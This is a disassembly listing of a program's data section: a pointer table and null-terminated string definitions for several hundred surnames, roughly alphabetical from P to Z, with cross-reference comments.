		dd offset aTopulos	; "Topulos"
		dd offset aTorresi	; "Torresi"
		dd offset aTorske	; "Torske"
		dd offset aTowler	; "Towler"
		dd offset aToye		; "Toye"
		dd offset aTraebert	; "Traebert"
		dd offset aTrenga	; "Trenga"
		dd offset aTrewin	; "Trewin"
		dd offset aTringali	; "Tringali"
		dd offset aTroiani	; "Troiani"
		dd offset aTroy		; "Troy"
		dd offset aTruss	; "Truss"
		dd offset aTsiatis	; "Tsiatis"
		dd offset aTsomides	; "Tsomides"
		dd offset aTsukurov	; "Tsukurov"
		dd offset aTuck		; "Tuck"
		dd offset aTudge	; "Tudge"
		dd offset aTukan	; "Tukan"
		dd offset aTurano	; "Turano"
		dd offset aTurek	; "Turek"
		dd offset aTuttle	; "Tuttle"
		dd offset aTwells	; "Twells"
		dd offset aTzamarias	; "Tzamarias"
		dd offset aUllman	; "Ullman"
		dd offset aUntermeyer	; "Untermeyer"
		dd offset aUpsdell	; "Upsdell"
		dd offset aUrban	; "Urban"
		dd offset aUrdangBrown	; "Urdang-Brown"
		dd offset aUsdan	; "Usdan"
		dd offset aUzuner	; "Uzuner"
		dd offset aVacca	; "Vacca"
		dd offset aWaite	; "Waite"
		dd offset aValberg	; "Valberg"
		dd offset aValencia	; "Valencia"
		dd offset aWales	; "Wales"
		dd offset aWallenberg	; "Wallenberg"
		dd offset aWalter	; "Walter"
		dd offset aVanallen	; "vanAllen"
		dd offset aVanzwet	; "VanZwet"
		dd offset aVandenberg	; "Vandenberg"
		dd offset aVanheeckeren	; "Vanheeckeren"
		dd offset aWarshafsky	; "Warshafsky"
		dd offset aWasowska	; "Wasowska"
		dd offset aVasquez	; "Vasquez"
		dd offset aWaugh	; "Waugh"
		dd offset aWeighart	; "Weighart"
		dd offset aWeingarten	; "Weingarten"
		dd offset aWeinhaus	; "Weinhaus"
		dd offset aWeissbourd	; "Weissbourd"
		dd offset aWeissman	; "Weissman"
		dd offset aVelasquez	; "Velasquez"
		dd offset aWelles	; "Welles"
		dd offset aWelsh	; "Welsh"
		dd offset aWengret	; "Wengret"
		dd offset aVenne	; "Venne"
		dd offset aVerghese	; "Verghese"
		dd offset aWescott	; "Wescott"
		dd offset aWetzel	; "Wetzel"
		dd offset aWhately	; "Whately"
		dd offset aWhilton	; "Whilton"
		dd offset aWhite	; "White"
		dd offset aWhitla	; "Whitla"
		dd offset aWhittaker	; "Whittaker"
		dd offset aViana	; "Viana"
		dd offset aViano	; "Viano"
		dd offset aWiedersheim	; "Wiedersheim"
		dd offset aWiener	; "Wiener"
		dd offset aViens	; "Viens"
		dd offset aVignola	; "Vignola"
		dd offset aWilder	; "Wilder"
		dd offset aWilhelm	; "Wilhelm"
		dd offset aWilk		; "Wilk"
		dd offset aWilkin	; "Wilkin"
		dd offset aWilkinson	; "Wilkinson"
		dd offset aVillarreal	; "Villarreal"
		dd offset aWillstatter	; "Willstatter"
		dd offset aWilson	; "Wilson"
		dd offset aVitali	; "Vitali"
		dd offset aViviani	; "Viviani"
		dd offset aVoigt	; "Voigt"
		dd offset aWolk		; "Wolk"
		dd offset aVonhoffman	; "VonHoffman"
		dd offset aWoo		; "Woo"
		dd offset aWooden	; "Wooden"
		dd offset aWoods	; "Woods"
		dd offset aWoodsPowell	; "Woods-Powell"
		dd offset aVorhaus	; "Vorhaus"
		dd offset aVotey	; "Votey"
		dd offset aYacono	; "Yacono"
		dd offset aYamane	; "Yamane"
		dd offset aYankee	; "Yankee"
		dd offset aYarchuk	; "Yarchuk"
		dd offset aYates	; "Yates"
		dd offset aYbarra	; "Ybarra"
		dd offset aYedidia	; "Yedidia"
		dd offset aYesson	; "Yesson"
		dd offset aYetiv	; "Yetiv"
		dd offset aYoffe	; "Yoffe"
		dd offset aYoo		; "Yoo"
		dd offset aYoukSee	; "Youk-See"
		dd offset aYu		; "Yu"
		dd offset aZachary	; "Zachary"
		dd offset aZahedi	; "Zahedi"
		dd offset aZangwill	; "Zangwill"
		dd offset aZegans	; "Zegans"
		dd offset aZerbini	; "Zerbini"
		dd offset aZoldak	; "Zoldak"
		dd offset aZucconi	; "Zucconi"
		dd offset aZurn		; "Zurn"
		dd offset aZwiers	; "Zwiers"
		dd offset aZytowski	; "Zytowski"
aZytowski	db 'Zytowski',0         ; DATA XREF: ___:0042EEF0o
		align 10h
aZwiers		db 'Zwiers',0           ; DATA XREF: ___:0042EEECo
		align 4
aZurn		db 'Zurn',0             ; DATA XREF: ___:0042EEE8o
		align 10h
aZucconi	db 'Zucconi',0          ; DATA XREF: ___:0042EEE4o
aZoldak		db 'Zoldak',0           ; DATA XREF: ___:0042EEE0o
		align 10h
aZerbini	db 'Zerbini',0          ; DATA XREF: ___:0042EEDCo
aZegans		db 'Zegans',0           ; DATA XREF: ___:0042EED8o
		align 10h
aZangwill	db 'Zangwill',0         ; DATA XREF: ___:0042EED4o
		align 4
aZahedi		db 'Zahedi',0           ; DATA XREF: ___:0042EED0o
		align 4
aZachary	db 'Zachary',0          ; DATA XREF: ___:0042EECCo
aYu		db 'Yu',0               ; DATA XREF: ___:0042EEC8o
		align 10h
aYoukSee	db 'Youk-See',0         ; DATA XREF: ___:0042EEC4o
		align 4
aYoo		db 'Yoo',0              ; DATA XREF: ___:0042EEC0o
aYoffe		db 'Yoffe',0            ; DATA XREF: ___:0042EEBCo
		align 4
aYetiv		db 'Yetiv',0            ; DATA XREF: ___:0042EEB8o
		align 10h
aYesson		db 'Yesson',0           ; DATA XREF: ___:0042EEB4o
		align 4
aYedidia	db 'Yedidia',0          ; DATA XREF: ___:0042EEB0o
aYbarra		db 'Ybarra',0           ; DATA XREF: ___:0042EEACo
		align 4
aYates		db 'Yates',0            ; DATA XREF: ___:0042EEA8o
		align 10h
aYarchuk	db 'Yarchuk',0          ; DATA XREF: ___:0042EEA4o
aYankee		db 'Yankee',0           ; DATA XREF: ___:0042EEA0o
		align 10h
aYamane		db 'Yamane',0           ; DATA XREF: ___:0042EE9Co
		align 4
aYacono		db 'Yacono',0           ; DATA XREF: ___:0042EE98o
		align 10h
aVotey		db 'Votey',0            ; DATA XREF: ___:0042EE94o
		align 4
aVorhaus	db 'Vorhaus',0          ; DATA XREF: ___:0042EE90o
aWoodsPowell	db 'Woods-Powell',0     ; DATA XREF: ___:0042EE8Co
		align 10h
aWoods		db 'Woods',0            ; DATA XREF: ___:0042EE88o
		align 4
aWooden		db 'Wooden',0           ; DATA XREF: ___:0042EE84o
		align 10h
aWoo		db 'Woo',0              ; DATA XREF: ___:0042EE80o
aVonhoffman	db 'VonHoffman',0       ; DATA XREF: ___:0042EE7Co
		align 10h
aWolk		db 'Wolk',0             ; DATA XREF: ___:0042EE78o
		align 4
aVoigt		db 'Voigt',0            ; DATA XREF: ___:0042EE74o
		align 10h
aViviani	db 'Viviani',0          ; DATA XREF: ___:0042EE70o
aVitali		db 'Vitali',0           ; DATA XREF: ___:0042EE6Co
		align 10h
aWilson		db 'Wilson',0           ; DATA XREF: ___:0042EE68o
		align 4
aWillstatter	db 'Willstatter',0      ; DATA XREF: ___:0042EE64o
aVillarreal	db 'Villarreal',0       ; DATA XREF: ___:0042EE60o
		align 10h
aWilkinson	db 'Wilkinson',0        ; DATA XREF: ___:0042EE5Co
		align 4
aWilkin		db 'Wilkin',0           ; DATA XREF: ___:0042EE58o
		align 4
aWilk		db 'Wilk',0             ; DATA XREF: ___:0042EE54o
		align 4
aWilhelm	db 'Wilhelm',0          ; DATA XREF: ___:0042EE50o
aWilder		db 'Wilder',0           ; DATA XREF: ___:0042EE4Co
		align 4
aVignola	db 'Vignola',0          ; DATA XREF: ___:0042EE48o
aViens		db 'Viens',0            ; DATA XREF: ___:0042EE44o
		align 4
aWiener		db 'Wiener',0           ; DATA XREF: ___:0042EE40o
		align 4
aWiedersheim	db 'Wiedersheim',0      ; DATA XREF: ___:0042EE3Co
aViano		db 'Viano',0            ; DATA XREF: ___:0042EE38o
		align 4
aViana		db 'Viana',0            ; DATA XREF: ___:0042EE34o
		align 10h
aWhittaker	db 'Whittaker',0        ; DATA XREF: ___:0042EE30o
		align 4
aWhitla		db 'Whitla',0           ; DATA XREF: ___:0042EE2Co
		align 4
aWhite		db 'White',0            ; DATA XREF: ___:0042EE28o
		align 4
aWhilton	db 'Whilton',0          ; DATA XREF: ___:0042EE24o
aWhately	db 'Whately',0          ; DATA XREF: ___:0042EE20o
aWetzel		db 'Wetzel',0           ; DATA XREF: ___:0042EE1Co
		align 4
aWescott	db 'Wescott',0          ; DATA XREF: ___:0042EE18o
aVerghese	db 'Verghese',0         ; DATA XREF: ___:0042EE14o
		align 4
aVenne		db 'Venne',0            ; DATA XREF: ___:0042EE10o
		align 10h
aWengret	db 'Wengret',0          ; DATA XREF: ___:0042EE0Co
aWelsh		db 'Welsh',0            ; DATA XREF: ___:0042EE08o
		align 10h
aWelles		db 'Welles',0           ; DATA XREF: ___:0042EE04o
		align 4
aVelasquez	db 'Velasquez',0        ; DATA XREF: ___:0042EE00o
		align 4
aWeissman	db 'Weissman',0         ; DATA XREF: ___:0042EDFCo
		align 10h
aWeissbourd	db 'Weissbourd',0       ; DATA XREF: ___:0042EDF8o
		align 4
aWeinhaus	db 'Weinhaus',0         ; DATA XREF: ___:0042EDF4o
		align 4
aWeingarten	db 'Weingarten',0       ; DATA XREF: ___:0042EDF0o
		align 4
aWeighart	db 'Weighart',0         ; DATA XREF: ___:0042EDECo
		align 10h
aWaugh		db 'Waugh',0            ; DATA XREF: ___:0042EDE8o
		align 4
aVasquez	db 'Vasquez',0          ; DATA XREF: ___:0042EDE4o
aWasowska	db 'Wasowska',0         ; DATA XREF: ___:0042EDE0o
		align 4
aWarshafsky	db 'Warshafsky',0       ; DATA XREF: ___:0042EDDCo
		align 4
aVanheeckeren	db 'Vanheeckeren',0     ; DATA XREF: ___:0042EDD8o
		align 4
aVandenberg	db 'Vandenberg',0       ; DATA XREF: ___:0042EDD4o
		align 4
aVanzwet	db 'VanZwet',0          ; DATA XREF: ___:0042EDD0o
aVanallen	db 'vanAllen',0         ; DATA XREF: ___:0042EDCCo
		align 4
aWalter		db 'Walter',0           ; DATA XREF: ___:0042EDC8o
		align 10h
aWallenberg	db 'Wallenberg',0       ; DATA XREF: ___:0042EDC4o
		align 4
aWales		db 'Wales',0            ; DATA XREF: ___:0042EDC0o
		align 4
aValencia	db 'Valencia',0         ; DATA XREF: ___:0042EDBCo
		align 10h
aValberg	db 'Valberg',0          ; DATA XREF: ___:0042EDB8o
aWaite		db 'Waite',0            ; DATA XREF: ___:0042EDB4o
		align 10h
aVacca		db 'Vacca',0            ; DATA XREF: ___:0042EDB0o
		align 4
aUzuner		db 'Uzuner',0           ; DATA XREF: ___:0042EDACo
		align 10h
aUsdan		db 'Usdan',0            ; DATA XREF: ___:0042EDA8o
		align 4
aUrdangBrown	db 'Urdang-Brown',0     ; DATA XREF: ___:0042EDA4o
		align 4
aUrban		db 'Urban',0            ; DATA XREF: ___:0042EDA0o
		align 10h
aUpsdell	db 'Upsdell',0          ; DATA XREF: ___:0042ED9Co
aUntermeyer	db 'Untermeyer',0       ; DATA XREF: ___:0042ED98o
		align 4
aUllman		db 'Ullman',0           ; DATA XREF: ___:0042ED94o
		align 4
aTzamarias	db 'Tzamarias',0        ; DATA XREF: ___:0042ED90o
		align 4
aTwells		db 'Twells',0           ; DATA XREF: ___:0042ED8Co
		align 10h
aTuttle		db 'Tuttle',0           ; DATA XREF: ___:0042ED88o
		align 4
aTurek		db 'Turek',0            ; DATA XREF: ___:0042ED84o
		align 10h
aTurano		db 'Turano',0           ; DATA XREF: ___:0042ED80o
		align 4
aTukan		db 'Tukan',0            ; DATA XREF: ___:0042ED7Co
		align 10h
aTudge		db 'Tudge',0            ; DATA XREF: ___:0042ED78o
		align 4
aTuck		db 'Tuck',0             ; DATA XREF: ___:0042ED74o
		align 10h
aTsukurov	db 'Tsukurov',0         ; DATA XREF: ___:0042ED70o
		align 4
aTsomides	db 'Tsomides',0         ; DATA XREF: ___:0042ED6Co
		align 4
aTsiatis	db 'Tsiatis',0          ; DATA XREF: ___:0042ED68o
aTruss		db 'Truss',0            ; DATA XREF: ___:0042ED64o
		align 4
aTroy		db 'Troy',0             ; DATA XREF: ___:0042ED60o
		align 10h
aTroiani	db 'Troiani',0          ; DATA XREF: ___:0042ED5Co
aTringali	db 'Tringali',0         ; DATA XREF: ___:0042ED58o
		align 4
aTrewin		db 'Trewin',0           ; DATA XREF: ___:0042ED54o
		align 4
aTrenga		db 'Trenga',0           ; DATA XREF: ___:0042ED50o
		align 4
aTraebert	db 'Traebert',0         ; DATA XREF: ___:0042ED4Co
		align 10h
aToye		db 'Toye',0             ; DATA XREF: ___:0042ED48o
		align 4
aTowler		db 'Towler',0           ; DATA XREF: ___:0042ED44o
		align 10h
aTorske		db 'Torske',0           ; DATA XREF: ___:0042ED40o
		align 4
aTorresi	db 'Torresi',0          ; DATA XREF: ___:0042ED3Co
aTopulos	db 'Topulos',0          ; DATA XREF: ___:0042ED38o
aToomer		db 'Toomer',0           ; DATA XREF: ___:0042ED34o
		align 10h
aTomford	db 'Tomford',0          ; DATA XREF: ___:0042ED30o
aTolman		db 'Tolman',0           ; DATA XREF: ___:0042ED2Co
		align 10h
aTolls		db 'Tolls',0            ; DATA XREF: ___:0042ED28o
		align 4
aTollestrup	db 'Tollestrup',0       ; DATA XREF: ___:0042ED24o
		align 4
aTofallis	db 'Tofallis',0         ; DATA XREF: ___:0042ED20o
		align 10h
aTimmons	db 'Timmons',0          ; DATA XREF: ___:0042ED1Co
aTill		db 'Till',0             ; DATA XREF: ___:0042ED18o
		align 10h
aTierney	db 'Tierney',0          ; DATA XREF: ___:0042ED14o
aThroop		db 'Throop',0           ; DATA XREF: ___:0042ED10o
		align 10h
aThomsen	db 'Thomsen',0          ; DATA XREF: ___:0042ED0Co
aThisted	db 'Thisted',0          ; DATA XREF: ___:0042ED08o
aThibault	db 'Thibault',0         ; DATA XREF: ___:0042ED04o
		align 4
aTheodos	db 'Theodos',0          ; DATA XREF: ___:0042ED00o
aThavaneswaran	db 'Thavaneswaran',0    ; DATA XREF: ___:0042ECFCo
		align 4
aThan		db 'Than',0             ; DATA XREF: ___:0042ECF8o
		align 4
aTerracini	db 'Terracini',0        ; DATA XREF: ___:0042ECF4o
		align 4
aTenney		db 'Tenney',0           ; DATA XREF: ___:0042ECF0o
		align 10h
aTemmer		db 'Temmer',0           ; DATA XREF: ___:0042ECECo
		align 4
aTemes		db 'Temes',0            ; DATA XREF: ___:0042ECE8o
		align 10h
aTeague		db 'Teague',0           ; DATA XREF: ___:0042ECE4o
		align 4
aTcherepnin	db 'Tcherepnin',0       ; DATA XREF: ___:0042ECE0o
		align 4
aTawn		db 'Tawn',0             ; DATA XREF: ___:0042ECDCo
		align 4
aTaveras	db 'Taveras',0          ; DATA XREF: ___:0042ECD8o
aTatar		db 'Tatar',0            ; DATA XREF: ___:0042ECD4o
		align 4
aTanowitz	db 'Tanowitz',0         ; DATA XREF: ___:0042ECD0o
		align 4
aTandler	db 'Tandler',0          ; DATA XREF: ___:0042ECCCo
aTambiah	db 'Tambiah',0          ; DATA XREF: ___:0042ECC8o
aTalaugon	db 'Talaugon',0         ; DATA XREF: ___:0042ECC4o
		align 4
aTai		db 'Tai',0              ; DATA XREF: ___:0042ECC0o
aTagiuri	db 'Tagiuri',0          ; DATA XREF: ___:0042ECBCo
aSwindle	db 'Swindle',0          ; DATA XREF: ___:0042ECB8o
aSweetser	db 'Sweetser',0         ; DATA XREF: ___:0042ECB4o
		align 4
aSweeting	db 'Sweeting',0         ; DATA XREF: ___:0042ECB0o
		align 10h
aSurdam		db 'Surdam',0           ; DATA XREF: ___:0042ECACo
		align 4
aSuo		db 'Suo',0              ; DATA XREF: ___:0042ECA8o
aSumner		db 'Sumner',0           ; DATA XREF: ___:0042ECA4o
		align 4
aSullivan	db 'Sullivan',0         ; DATA XREF: ___:0042ECA0o
		align 10h
aStringer	db 'Stringer',0         ; DATA XREF: ___:0042EC9Co
		align 4
aStreiff	db 'Streiff',0          ; DATA XREF: ___:0042EC98o
aStrauch	db 'Strauch',0          ; DATA XREF: ___:0042EC94o
aStrange	db 'Strange',0          ; DATA XREF: ___:0042EC90o
aStott		db 'Stott',0            ; DATA XREF: ___:0042EC8Co
		align 4
aStorer		db 'Storer',0           ; DATA XREF: ___:0042EC88o
		align 4
aStonich	db 'Stonich',0          ; DATA XREF: ___:0042EC84o
aStolzenberg	db 'Stolzenberg',0      ; DATA XREF: ___:0042EC80o
aStockwell	db 'Stockwell',0        ; DATA XREF: ___:0042EC7Co
		align 4
aStockton	db 'Stockton',0         ; DATA XREF: ___:0042EC78o
		align 10h
aStock		db 'Stock',0            ; DATA XREF: ___:0042EC74o
		align 4
aStillwell	db 'Stillwell',0        ; DATA XREF: ___:0042EC70o
		align 4
aStiepock	db 'Stiepock',0         ; DATA XREF: ___:0042EC6Co
		align 10h
aStewartOaten	db 'Stewart-Oaten',0    ; DATA XREF: ___:0042EC68o
		align 10h
aStepniewska	db 'Stepniewska',0      ; DATA XREF: ___:0042EC64o
aStephanian	db 'Stephanian',0       ; DATA XREF: ___:0042EC60o
		align 4
aSteiner	db 'Steiner',0          ; DATA XREF: ___:0042EC5Co
aStefani	db 'Stefani',0          ; DATA XREF: ___:0042EC58o
aStatlender	db 'Statlender',0
		align 4
aStates		db 'States',0
		align 4
aStassinopolus	db 'Stassinopolus',0
		align 4
aStang		db 'Stang',0
		align 4
aStam		db 'Stam',0
		align 4
aStalvey	db 'Stalvey',0
aStmartin	db 'StMartin',0
		align 10h
aSpinrad	db 'Spinrad',0
aSpiliotis	db 'Spiliotis',0
		align 4
aSpiegelhalter	db 'Spiegelhalter',0
		align 4
aSpicer		db 'Spicer',0
		align 4
aSperber	db 'Sperber',0
aSpence		db 'Spence',0
		align 4
aSpeizer	db 'Speizer',0
aSpaulding	db 'Spaulding',0
		align 10h
aSparrow	db 'Sparrow',0
aSpanier	db 'Spanier',0
aSoultanian	db 'Soultanian',0
		align 4
aSoule		db 'Soule',0
		align 4
aSoukup		db 'Soukup',0
		align 4
aSottak		db 'Sottak',0
		align 4
aSorg		db 'Sorg',0
		align 4
aSorabella	db 'Sorabella',0
		align 4
aSommariva	db 'Sommariva',0
		align 4
aSomers		db 'Somers',0
		align 4
aSolon		db 'Solon',0
		align 4
aSocolow	db 'Socolow',0
aSnodgrass	db 'Snodgrass',0
		align 4
aSniffen	db 'Sniffen',0
aSmilow		db 'Smilow',0
		align 4
aSlowe		db 'Slowe',0
		align 10h
aSloan		db 'Sloan',0
		align 4
aSkoda		db 'Skoda',0
		align 10h
aSkerry		db 'Skerry',0
		align 4
aSkane		db 'Skane',0
		align 10h
aSites		db 'Sites',0
		align 4
aSirilli	db 'Sirilli',0
aSinsabaugh	db 'Sinsabaugh',0
		align 4
aSilvetti	db 'Silvetti',0
		align 4
aSilverman	db 'Silverman',0
		align 4
aSigna		db 'Signa',0
		align 4
aSigini		db 'Sigini',0
		align 4
aSigalot	db 'Sigalot',0
aSiesto		db 'Siesto',0
		align 4
aShimon		db 'Shimon',0
		align 4
aShibata	db 'Shibata',0
aShia		db 'Shia',0
		align 4
aShesko		db 'Shesko',0
		align 4
aShepstone	db 'Shepstone',0
		align 10h
aSheppard	db 'Sheppard',0
		align 4
aShepherd	db 'Shepherd',0
		align 4
aSheats		db 'Sheats',0
		align 10h
aShea		db 'Shea',0
		align 4
aShavelson	db 'Shavelson',0
		align 4
aShatrov	db 'Shatrov',0
aShar		db 'Shar',0
		align 4
aShanley	db 'Shanley',0
aShankland	db 'Shankland',0
		align 4
aShakis		db 'Shakis',0           ; DATA XREF: ___:0042EB69o
		align 10h
aShaikh		db 'Shaikh',0
		align 4
aSeyfert	db 'Seyfert',0
aSexton		db 'Sexton',0           ; DATA XREF: ___:0042EB5Do
		align 4
aSeterdahl	db 'Seterdahl',0
		align 4
aSennett	db 'Sennett',0
aSen		db 'Sen',0
aSelvage	db 'Selvage',0
aSekler		db 'Sekler',0
		align 10h
aSegal		db 'Segal',0
		align 4
aSeeber		db 'Seeber',0
		align 10h
aSeaton		db 'Seaton',0
		align 4
aScudder	db 'Scudder',0          ; DATA XREF: ___:loc_42EB39o
aScovel		db 'Scovel',0
		align 4
aSchwickrath	db 'Schwickrath',0      ; DATA XREF: ___:0042EB34o
aSchwan		db 'Schwan',0           ; DATA XREF: ___:0042EB30o
		align 4
aSchuyler	db 'Schuyler',0         ; DATA XREF: ___:0042EB2Co
		align 4
aSchutte	db 'Schutte',0          ; DATA XREF: ___:0042EB28o
aSchuman	db 'Schuman',0          ; DATA XREF: ___:0042EB24o
aSchossberger	db 'Schossberger',0     ; DATA XREF: ___:0042EB20o
		align 4
aSchmitt	db 'Schmitt',0          ; DATA XREF: ___:0042EB1Co
aSchilling	db 'Schilling',0        ; DATA XREF: ___:0042EB18o
		align 4
aSchifini	db 'Schifini',0         ; DATA XREF: ___:0042EB14o
		align 4
aSchiano	db 'Schiano',0          ; DATA XREF: ___:0042EB10o
aScheiner	db 'Scheiner',0         ; DATA XREF: ___:0042EB0Co
		align 4
aScharlemann	db 'Scharlemann',0      ; DATA XREF: ___:0042EB08o
aScharf		db 'Scharf',0           ; DATA XREF: ___:0042EB04o
		align 10h
aScepan		db 'Scepan',0           ; DATA XREF: ___:0042EB00o
		align 4
aScarponi	db 'Scarponi',0         ; DATA XREF: ___:0042EAFCo
		align 4
aSayied		db 'Sayied',0           ; DATA XREF: ___:0042EAF8o
		align 4
aSawtell	db 'Sawtell',0          ; DATA XREF: ___:0042EAF4o
aSatterthwaite	db 'Satterthwaite',0    ; DATA XREF: ___:0042EAF0o
		align 4
aSatta		db 'Satta',0            ; DATA XREF: ___:0042EAECo
		align 4
aSatin		db 'Satin',0            ; DATA XREF: ___:0042EAE8o
		align 4
aSase		db 'Sase',0             ; DATA XREF: ___:0042EAE4o
		align 4
aSartore	db 'Sartore',0          ; DATA XREF: ___:0042EAE0o
aSarin		db 'Sarin',0            ; DATA XREF: ___:0042EADCo
		align 4
aSapers		db 'Sapers',0           ; DATA XREF: ___:0042EAD8o
		align 4
aSanna		db 'Sanna',0            ; DATA XREF: ___:0042EAD4o
		align 4
aSanchezRamirez	db 'Sanchez-Ramirez',0  ; DATA XREF: ___:0042EAD0o
aSamson		db 'Samson',0           ; DATA XREF: ___:0042EACCo
		align 4
aSali		db 'Sali',0             ; DATA XREF: ___:0042EAC8o
		align 4
aSahu		db 'Sahu',0             ; DATA XREF: ___:0042EAC4o
		align 4
aSafire		db 'Safire',0           ; DATA XREF: ___:0042EAC0o
		align 4
aSadler		db 'Sadler',0           ; DATA XREF: ___:0042EABCo
		align 4
aSabatello	db 'Sabatello',0        ; DATA XREF: ___:0042EAB8o
		align 10h
aRyu		db 'Ryu',0              ; DATA XREF: ___:0042EAB4o
aRush		db 'Rush',0             ; DATA XREF: ___:0042EAB0o
		align 4
aRuescher	db 'Ruescher',0         ; DATA XREF: ___:0042EAACo
		align 4
aRuderman	db 'Ruderman',0         ; DATA XREF: ___:0042EAA8o
		align 4
aRuan		db 'Ruan',0             ; DATA XREF: ___:0042EAA4o
		align 4
aRu		db 'Ru',0               ; DATA XREF: ___:0042EAA0o
		align 10h
aRoyal		db 'Royal',0            ; DATA XREF: ___:0042EA9Co
		align 4
aRow		db 'Row',0              ; DATA XREF: ___:0042EA98o
aRonen		db 'Ronen',0            ; DATA XREF: ___:0042EA94o
		align 4
aRogers		db 'Rogers',0           ; DATA XREF: ___:0042EA90o
		align 4
aRoesler	db 'Roesler',0          ; DATA XREF: ___:0042EA8Co
aRocha		db 'Rocha',0            ; DATA XREF: ___:0042EA88o
		align 4
aRobinson	db 'Robinson',0         ; DATA XREF: ___:0042EA84o
		align 4
aRivera		db 'Rivera',0           ; DATA XREF: ___:0042EA80o
		align 10h
aRish		db 'Rish',0             ; DATA XREF: ___:0042EA7Co
		align 4
aRineer		db 'Rineer',0           ; DATA XREF: ___:0042EA78o
		align 10h
aRindos		db 'Rindos',0           ; DATA XREF: ___:0042EA74o
		align 4
aRielly		db 'Rielly',0           ; DATA XREF: ___:0042EA70o
		align 10h
aRichmond	db 'Richmond',0         ; DATA XREF: ___:0042EA6Co
		align 4
aRhea		db 'Rhea',0             ; DATA XREF: ___:0042EA68o
		align 4
aResnik		db 'Resnik',0           ; DATA XREF: ___:0042EA64o
		align 4
aRepetto	db 'Repetto',0          ; DATA XREF: ___:0042EA60o
aRenick		db 'Renick',0           ; DATA XREF: ___:0042EA5Co
		align 4
aRemak		db 'Remak',0            ; DATA XREF: ___:0042EA58o
		align 4
aReinold	db 'Reinold',0          ; DATA XREF: ___:0042EA54o
aCunningham	db 'Cunningham',0       ; DATA XREF: ___:0042EA50o
		align 4
aReedquist	db 'Reedquist',0        ; DATA XREF: ___:0042EA4Co
		align 4
aReddenTyler	db 'Redden-Tyler',0     ; DATA XREF: ___:0042EA48o
		align 4
aRayport	db 'Rayport',0          ; DATA XREF: ___:0042EA44o
aRapple		db 'Rapple',0           ; DATA XREF: ___:0042EA40o
		align 4
aRankin		db 'Rankin',0           ; DATA XREF: ___:0042EA3Co
		align 4
aRangan		db 'Rangan',0           ; DATA XREF: ___:0042EA38o
		align 4
aRaney		db 'Raney',0            ; DATA XREF: ___:0042EA34o
		align 4
aRajagopalan	db 'Rajagopalan',0      ; DATA XREF: ___:0042EA30o
aRadeke		db 'Radeke',0           ; DATA XREF: ___:0042EA2Co
		align 10h
aRabkin		db 'Rabkin',0           ; DATA XREF: ___:0042EA28o
		align 4
aRabe		db 'Rabe',0             ; DATA XREF: ___:0042EA24o
		align 10h
aQuetin		db 'Quetin',0           ; DATA XREF: ___:0042EA20o
		align 4
aQuaday		db 'Quaday',0           ; DATA XREF: ___:0042EA1Co
		align 10h
aPynchon	db 'Pynchon',0          ; DATA XREF: ___:0042EA18o
aPugh		db 'Pugh',0             ; DATA XREF: ___:0042EA14o
		align 10h
aPuccia		db 'Puccia',0           ; DATA XREF: ___:0042EA10o
		align 4
aProthrowStith	db 'Prothrow-Stith',0   ; DATA XREF: ___:0042EA0Co
		align 4
aProietti	db 'Proietti',0         ; DATA XREF: ___:0042EA08o
		align 4
aPritz		db 'Pritz',0            ; DATA XREF: ___:0042EA04o
		align 4
aPritchard	db 'Pritchard',0        ; DATA XREF: ___:0042EA00o
		align 4
aPrevost	db 'Prevost',0          ; DATA XREF: ___:0042E9FCo
aPreucel	db 'Preucel',0          ; DATA XREF: ___:0042E9F8o
aPresper	db 'Presper',0          ; DATA XREF: ___:0042E9F4o
aPowers		db 'Powers',0           ; DATA XREF: ___:0042E9F0o
		align 4
aPoolman	db 'Poolman',0          ; DATA XREF: ___:0042E9ECo
aPoma		db 'Poma',0             ; DATA XREF: ___:0042E9E8o
		align 4
aPolitis	db 'Politis',0          ; DATA XREF: ___:0042E9E4o
aPolanyi	db 'Polanyi',0          ; DATA XREF: ___:0042E9E0o
aPolak		db 'Polak',0            ; DATA XREF: ___:0042E9DCo
		align 10h
aPoirier	db 'Poirier',0          ; DATA XREF: ___:0042E9D8o
aPointer	db 'Pointer',0          ; DATA XREF: ___:0042E9D4o
aPoincaire	db 'Poincaire',0        ; DATA XREF: ___:0042E9D0o
		align 4
aPocobene	db 'Pocobene',0         ; DATA XREF: ___:0042E9CCo
		align 4
aPo		db 'Po',0               ; DATA XREF: ___:0042E9C8o
		align 4
aPlous		db 'Plous',0            ; DATA XREF: ___:0042E9C4o
		align 4
aPlasket	db 'Plasket',0          ; DATA XREF: ___:0042E9C0o
aPlant		db 'Plant',0            ; DATA XREF: ___:0042E9BCo
		align 4
aPlancon	db 'Plancon',0          ; DATA XREF: ___:0042E9B8o
aPinot		db 'Pinot',0            ; DATA XREF: ___:0042E9B4o
		align 4
aPilbeam	db 'Pilbeam',0          ; DATA XREF: ___:0042E9B0o
aPfister	db 'Pfister',0          ; DATA XREF: ___:0042E9ACo
aPettit		db 'Pettit',0           ; DATA XREF: ___:0042E9A8o
		align 4
aPettibone	db 'Pettibone',0        ; DATA XREF: ___:0042E9A4o
		align 4
aPetruzello	db 'Petruzello',0       ; DATA XREF: ___:0042E9A0o
		align 4
aPeters		db 'Peters',0           ; DATA XREF: ___:0042E99Co
		align 4
aPerrimon	db 'Perrimon',0         ; DATA XREF: ___:0042E998o
		align 4
aPerone		db 'Perone',0           ; DATA XREF: ___:0042E994o
		align 10h
aPerna		db 'Perna',0            ; DATA XREF: ___:0042E990o
		align 4
aPerlman	db 'Perlman',0          ; DATA XREF: ___:0042E98Co
aPerlak		db 'Perlak',0           ; DATA XREF: ___:0042E988o
		align 4
aPerko		db 'Perko',0            ; DATA XREF: ___:0042E984o
		align 10h
aPereira	db 'Pereira',0          ; DATA XREF: ___:0042E980o
aPenny		db 'Penny',0            ; DATA XREF: ___:0042E97Co
		align 10h
aPeishel	db 'Peishel',0          ; DATA XREF: ___:0042E978o
aPederson	db 'Pederson',0         ; DATA XREF: ___:0042E974o
		align 4
aPearlberg	db 'Pearlberg',0        ; DATA XREF: ___:0042E970o
		align 10h
aPeabody	db 'Peabody',0          ; DATA XREF: ___:0042E96Co
aPaynter	db 'Paynter',0          ; DATA XREF: ___:0042E968o
aPawloski	db 'Pawloski',0         ; DATA XREF: ___:0042E964o
		align 4
aPavlon		db 'Pavlon',0           ; DATA XREF: ___:0042E960o
		align 4
aPavetti	db 'Pavetti',0          ; DATA XREF: ___:0042E95Co
aPattullo	db 'Pattullo',0         ; DATA XREF: ___:0042E958o
		align 4
aPatrick	db 'Patrick',0          ; DATA XREF: ___:0042E954o
aPatefield	db 'Patefield',0        ; DATA XREF: ___:0042E950o
		align 4
